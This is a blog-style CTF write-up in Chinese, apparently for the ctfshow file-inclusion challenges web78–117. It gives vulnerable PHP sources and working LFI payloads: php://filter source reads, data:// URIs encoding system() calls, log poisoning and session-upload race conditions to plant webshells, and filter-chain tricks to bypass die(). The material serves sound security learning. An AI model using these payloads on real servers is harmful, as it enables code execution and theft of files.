• 文件包含入门到入yu


    web78

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 10:52:43
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 10:54:20
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    最简单的文件包含,盲猜flag在当前目录

    payload:

    ?file=php://filter/convert.base64-encode/resource=flag.php
    
    • 1

    web79

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:10:14
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 11:12:38
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    有点小过滤,过滤了php,但是问题不大,换成data协议,然后用base64加密

    payload:

    file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    
    • 1

    Ctrl+U查看flag

    web80

    题目

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 11:26:29
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    刚用完data就把data禁了,真好,那包含日志文件吧

    nginx日志在/var/log/nginx/access.log
    
    apache日志在类似目录下/var/log/httpd/access.log
    
    • 1
    • 2
    • 3

    请添加图片描述

    看他日志中记录的内容,burp抓包在相应位置写入一句话木马,蚁剑连接拿下,或者直接执行命令

    payload1:

    请添加图片描述

    payload2:

    和前两个题一样思路运用伪协议,这里注意PHP大小写都行,但是data只能小写,我们可以用PhP绕过过滤php[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    请添加图片描述

    web81

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 15:51:31
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    过滤了冒号,用上面日志的方法

    payload:

    在这里插入图片描述

    web82

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 19:34:45
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    多过滤了“点”,php中我们唯一能控制的无后缀的就是session文件,复习一些知识,php5.4之后php.ini开始有几个默认选项

    该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项

    session.upload_progress.enable = on
    session.upload_progress.cleanup = on
    session.upload_progress.prefix = "upload_progress_"
    session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
    
    • 1
    • 2
    • 3
    • 4
    • enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
    • cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
    • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
    • prefix+name将表示为session中的键名;
    • 另外还有一个session配置中的重要选项:session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。

    我们知道平时初始化session的时候我们要写个session_start(),但是如果session.auto_start=on,则php会在接收请求的时候会自动初始化Session,不再需要执行session_start()。这时候session还要用到一个默认选项session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。举个栗子,我们在Cookie里设置PHPSESSID=jiangnaij,PHP将会在服务器创建一个文件/tmp/sess_jiangnaij。即使此时用户没有初始化Session,PHP也会自动初始化Session并产生一个键值jiangnaij,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里;

    简而言之,我们自定义的PHPSESSID的值会变成文件名,比如定义PHPSESSID:jiangnaij,文件名即为/tmp/sess_jiangnaij,而PHP_SESSION_UPLOAD_PROGRESS的值即为该文件的内容

    但是由于cleanup=on,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含

    用POST的形式发包,上传的文件随意,下面是构造的上传表单

    DOCTYPE html>
    <html>
    <body>
    <form action="IP地址" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="flag" />
        <input type="file" name="file" />
        <input type="submit" value="submit" />
    form>
    body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    发包的时候抓个包

    请添加图片描述

    因为我们在上面这个页面添加的ID值是jiangnaij,所以传参?file=/tmp/sess_jiangnaij,抓包

    请添加图片描述

    请添加图片描述

    这里写个jiangnaij=1是为了方便爆破,两个包的设置都如下

    请添加图片描述

    payload:

    条件竞争长度排序可以得到目录,flag同理

    web83

    题目:

    Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 20:28:52
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    session_unset();
    session_destroy();
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
    
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    看到Warning我们知道他把session_destroy了,那我们就加个Session_start,

    表单如下:

    DOCTYPE html>
    <html>
    <body>
    <form action="ip地址" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
    form>
    body>
    html>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    payload:

    剩下同理上一题

    web84

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 20:40:01
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        system("rm -rf /tmp/*");
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    加了一个rm -rf /tmp/*,但是我们是多线程的,可能前一个刚把/tmp/*给删了,并打算接着执行include($file),但是在这时另一个线程连接了进来,服务器为其又创建一个/tmp/sess_ctfshow,这样之前那么线程就可以include成功了。所以上面一题的脚本仍然可以成功。

    payload:

    同上

    web85

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 20:59:51
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        if(file_exists($file)){
            $content = file_get_contents($file);
            if(strpos($content, "<")>0){
                die("error");
            }
            include($file);
        }
        
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    和上题一样,因为多线程的原因可以执行成功。不行的话可以多加几个线程。

    payload:

    同上

    web86

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 21:20:43
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    define('还要秀?', dirname(__FILE__));
    set_include_path(还要秀?);
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        include($file);
    
        
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    限制了include()require()的路径,但是并不影响上一题的payload,继续使用上一题的方法。

    好像是这样的原因:
    平时include()/require()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找

    所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。

    payload:

    同上

    web87

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-16 21:57:55
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $content = $_POST['content'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        file_put_contents(urldecode($file), "".$content);
    
        
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    可以看到,有两个传入的参数:filecontentfile会进行过滤以及urldecode(),所以传file时需要两次urlencode,这样可以绕过过滤(第一次解码是自动解码,此时字符串里面没有诸如php的字符,第二次解码是代码中的urldecode(),这时候恢复成正常的写过滤器。如果只有一次编码,就不能绕过过滤了)。注意,hackbar没办法进行全编码,使用其他的在线工具就行了。
    再看content,如果正常传入php代码,则会因为前头die()的原因直接退出,写个伪协议就行了,可以用base64过滤器或者rot13,这样在写入file文件时候自动解码,连带着前头的一起,就会破坏掉这句die()了。

    payload:

    /?file=php://filter/write=string.rot13/resource=2.php
    //两次urlencode后
    /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
    
    • 1
    • 2
    • 3

    content的内容如下(两次rot13后会变成原样):

    content=
    //rot13编码后:
    content=
    
    • 1
    • 2
    • 3

    web88

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-17 02:27:25
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
     */
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
            die("error");
        }
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    一个过滤的包含,但是没有过滤冒号,可以使用data://协议。但是因为过滤了$.符号,所以需要base64编码。不过还有一点就是base64编码后很容易出现=+,所以需要去调整payload,添加以下字符以保证编码后的payload没有敏感字符:

    payload:

    /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvICdhYmRjJzs/PmFh
    //也就是:
    /?file=data://text/plain;base64,aa
    
    • 1
    • 2
    • 3

    web116

    题目:

    是个视频,提示是misc+lif

    抓包得到index.php

    
    error_reporting(0);
    function filter($x){
        if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
            die('too young too simple sometimes naive!');
        }
    }
    $file=isset($_GET['file'])?$_GET['file']:"5.mp4";
    filter($file);
    header('Content-Type: video/mp4');
    header("Content-Length: $file");
    readfile($file);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    直接包含flag

    payload:

    /?file=flag.php
    
    • 1

    web117

    题目:

    
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: yu22x
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-10-01 18:16:59
    
    */
    highlight_file(__FILE__);
    error_reporting(0);
    function filter($x){
        if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
            die('too young too simple sometimes naive!');
        }
    }
    $file=$_GET['file'];
    $contents=$_POST['contents']
    filter($file);
    file_put_contents($file, "".$contents);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    和前面思路差不多,使用过滤器写入一句话木马,这样在写入后进行过滤器指定的编码(解码)的过程中会把die()函数破坏掉,进而执行我们写入的马
    这里有个知识点:convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
    iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从$in_charset编码转换到$out_charset
    这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

    $result = iconv("UCS-2LE","UCS-2BE", '');
    echo "经过一次反转:".$result."\n";
    echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
    
    //输出结果如下:
    //经过一次反转:??
    //经过第二次反转:
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    payload:

    /?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
    contents=??
    
    • 1
    • 2
  • 相关阅读:
    idea新建一个module时,文件夹显示灰色/pom.xml文件显示灰色且中间有条横线
    maven-assembly-plugin 打包后 grpc请求异常
    数字IC前端学习笔记:数字乘法器的优化设计(进位保留乘法器)
    TensorFlow2.0教程2-全连接神经网络以及深度学习技巧
    常用JS加密/解密类型以及案例
    股票交易接口使用步骤
    3DEXPERIENCE许可管理流程:高效、合规、易行的软件许可方案
    乾坤qiankun-微前端-简单搭建demo
    【C语言从青铜到王者】第五篇·数据在内存中的存储
    Mac mini 2018 VS MacBookPro M1Pro 代码打包编译速度对比
  • 原文地址:https://blog.csdn.net/qq_45557476/article/details/126715868